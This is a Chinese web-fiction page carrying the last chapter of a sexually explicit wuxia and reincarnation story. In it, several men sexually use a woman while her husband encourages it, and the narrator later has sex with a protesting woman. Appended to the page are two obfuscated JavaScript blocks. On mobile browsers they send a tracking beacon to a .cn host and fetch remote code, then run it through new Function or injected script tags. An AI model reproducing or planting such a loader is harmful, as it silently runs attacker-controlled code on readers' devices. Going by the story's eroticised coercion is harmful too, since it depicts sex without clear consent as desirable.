“没关系……我会当作是我亲生的……不过……既然王员外有可能是孩子他爹的话,那就不是外人了是吧?那你是不是也该尽尽孩子他娘的责任?让人家好好再操你一次吧……”毕朝元的手在缘儿的两腿之间,配合着王员外的口舌动作快速的震动着,让缘儿的双腿张得更开了……

“都操弄过一次了,别怕……上次为夫没看见,这次让我好好看看……”毕朝元双手在说话的同时缓缓放开缘儿的娇躯,接手的是瘦高的李掌柜…… 缘儿没发现已换了人抱她,因为此刻她的注意力都在下半身之上,那个用口舌侵犯她,同时已脱下裤子的男人……

我忽然觉得有些悲哀,为缘儿竟然沦落至此,甚至有可能怀上别的男人的孩子而悲哀……她嫁给了这样一个有异常癖好的夫君,那她往后的日子…… 但是,此刻的我没有立场……这是她们夫妻间的闺房问题……

我忽然若有所悟,在气机感应之下,我的精神忽然无限度的拔高……

我忽然感受到自己仿佛置身事外的第三者,而且不只是这场荒淫闹剧的第三者,还是这天地间的第三者……我冷冷的看着一切,似乎从此之后,这世间的一切都与我无关……

“原来,这就是所谓的‘太上忘情’吗?”我在心中想着。

我又看到了那片屏障,那处瓶颈……我毫不犹豫的穿了过去……

这就是“阿赖耶识”的境界?

我的精神回到体内,我想,该是我走的时候了……

我又看了缘儿最后一眼……

“咦?”我忽然发现,毕朝元体内有股很隐密的波动,被什么秘法所掩盖住了,还是我精神力突破之后才得已发现……

我发现这波动有些熟悉……

他不是据说不会武功?

通了八识之后,我要找出记忆中被遗忘的角落,并不是太难……

原来是……圣子。

我忽然明白了一切,我被算计了……

我有种冲动想出去,揭开一切,扯下圣子的伪装,我知道缘儿一定被瞒在鼓�,她一定不知道毕朝元就是圣子。

我“看到”我自己走了出去,揭开了一切背后的阴谋。

我“看到”我杀了圣子,他对我武功的境界感到不可思议

我“看到”缘儿知道真相之后的表情。

她爱的一个男人一直在欺骗她,诱导她堕落……而另外一个她爱的男人,亲眼目睹了她的堕落……

缘儿心灰意冷,羞愧难当,在我面前自绝心脉而死……

然后我醒了,原来方才是“阿赖耶识”给我的预测,对于未来的预测。 “阿赖耶识”是种子识,是其他七识之基,世间万物之本。

我相信祂的预测……

死一个灵儿就够了,还要逼死缘儿吗?

有时候,无知才是幸福的……

有时候,放手才是爱她……

“噢……哦……唔唔……”王员外的硕大阴茎,再次插入了缘儿体内,而随之,李掌柜的阴茎,也插入了缘儿口中……

我转身离开,未惊动任何人。

“如果有来生……我们再续前缘吧……”

“这一次,我怎么都不会放开你……”

我在心中暗暗想到,对缘儿暗中许下来生缘……

我略有所觉,擡头看见空中裂开一条缝,从中透出一道白光照下……

这就是“破碎虚空”吗?

我要离开这世界了?

*** *** *** ***

我又做了一个大梦。

多久了?七岁那年吗?

一样的梦,只是更多细节……

例如,名字。

原本七岁那年的梦中我只记得每个人的长相,却完全想不起名字。

我记得我和缘儿梦中所有的经历,但是想不起来任何地名,建筑物名称,公司行号的名称……

七岁的梦是模煳的,这次是清晰而详细的。

其他的部分都一样……

在梦中我不叫许来生了,我叫做“陈海”。

我那个孤儿院的青梅竹马,我当妹妹一样的女孩,原来是灵儿。在梦中的世界中,她的名字几乎没改变,叫做“夏灵儿”。

我在大学认识并深爱的女人,是缘儿,她在梦中叫做“魏爱情”。

我又做了一次这个七岁就做过的梦。

我一样是孤儿,和灵儿一起长大,一起念大学,在那认识了魏爱情,也就是缘儿,我还是称她情儿吧,毕竟是在梦中。

然后,这次我又认出了一个熟人……我没想到圣子也在这,他就是追求情儿的财团公子。

我忽然警觉,我开始注意一些细节,但是我却无法改变梦境……

我和情儿又再次被蒙面的小混混堵在电影院附近的暗巷之中……

他们仍想强奸情儿,我又和他们打了起来,这次我认出了这位带头之人,果然就是圣子!但是该发生的事还是得发生,我又被人从背后袭击,即使我已经知道了,我告诉梦中的我转身,但是无济于事,梦中的我,行动竟不由我控制,我竟只是一个局外人,只能看着……

梦又结束了。

我张开双眼,看见天花板上的日光灯……

我破碎虚空了吗?还是仍在梦中世界?我不知道……

“他醒了,他醒过来了!……七十七号病床的病人醒过来了!”

我转过头去,一个穿白衣的小护士叫喊着跑出房间。

嗯?……我脑海中回放着过去发生的事……

我记得自己破碎虚空了,然后又做了一个梦……

不对,应该说我在一旁又“看”了一次这个梦。

对,只能看着,什么都无法改变……

我忽然看着自己,看着四周……这……不就是那个梦中的世界?

我晃了晃脑袋,静下心想了一想……

我在想什么?我现在才是从梦中醒来吧?

之前的梦还真长……我梦见自己回到古代去了,还学了惊人的武功…… 这都二十一世纪了,怎么还做那么荒诞的梦……

等等……等等……

我的……精神力……我怎么可以感应到……

这是……末那识……阿赖耶识……都在……

是真的?

是真的!

我连忙感应着自己的身体……嗯,没有真气。

但是……我……可以修练!

我运转“无量心经”的功法,发现竟然可以从外界中引能量入体,转化为一丝丝的真气!

不过,现代的灵气还真是缺乏啊,这修练进度还真是惨不忍睹。

小护士又跑进来了,这次带着医生和其他医护人员……

一番手忙脚乱的检查,医生直说奇迹。

我问了一下,方知我已昏迷一年了……

那次被小混混打到了后脑,送到医院时已经脑死,被判定为植物人…… “醒了吗?真醒了吗!……”我听见一个音量很大的声音从走廊传来,快速的跑进房间内。不用看我也知道是谁,灵儿,这一世的灵儿貌似有点莽撞…… “啊!陈海!你真的醒了,太好了!……”我看着灵儿对我又哭又笑的,心中泛起一种温馨的感觉……

纠缠二世了吗?没想到这一世你还是跟着我……

“啊?……”我忽然握住灵儿的手,吓了她一大跳。

我紧紧的握住,不让她挣脱。

缘儿在第三天出现,现在应该说情儿了,魏爱情是吗……

圣子果然跟在情儿身边,还牵着她的手……喔,这一世他叫“彭念祖”。 我看见了情儿手上的戒指,看见了她的强颜欢笑,看着彭念祖故意在我面前宣布喜讯,说两人结婚了。

我笑着看着他们,祝福他们,眼角瞥到欲言又止的灵儿,还有施眼神让她别说话的情儿。

二人走后,我直接问灵儿:“他们什么时后结婚?……”

灵儿瞪大着眼看着我,惊讶之话脱口而出:“你怎么知道?……”

废话,老子现在可是有着“阿赖耶识”这一个直通人本心的根本识,几乎就拥有了比那些西藏活佛还要逆天的作弊器了,这一切哪逃的过我的感应。 “说说吧,魏爱情为什么会答应?彭先生开了什么条件?”我望着瞠目结舌的灵儿继续说道。

“就是负责你这些维生仪器的费用,医护人员的所有开支……”听着灵儿的话,我懂了,又是为了我……在我成为植物人的这一年,要维持我的生命,不是灵儿和情儿这二个女人负担的起的……

“去帮我办出院。”我淡淡说道。

“可是医生说……”灵儿紧张的说道。

“你看不出我好了?医院还不是想再多拿点钱,我可不想花那人的钱。”我淡淡的瞪了灵儿一眼。

灵儿被我一看,不由得红着脸低下头去,心中暗暗觉得我这次醒来,似乎变得霸气了,更有男人味了……

在我的坚持之下,我出院了。

我没什么行李,就几件换洗的衣物,之前租的屋子早退了,我和灵儿来到她的住处……

我一进门就抱住灵儿亲吻,她只挣扎了几下,身子就软了。

“啊!……痛……”我拭去灵儿眼角的泪水。进房,脱衣,上床,插入都被我省略了。嗯,想不到她还是处。

“灵儿……我爱你……我这辈子都不会放开你了,下辈子也是……”我深情的对她许下誓言……

还有另外一个,我也不会放过她……因为我对她许下过,来生之缘。

我破碎虚空了吗?我不知道,你告诉我……

【全文完】


上一篇:跳蛋的秘密

下一篇:【生理老师的生理需要】作者:不详


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};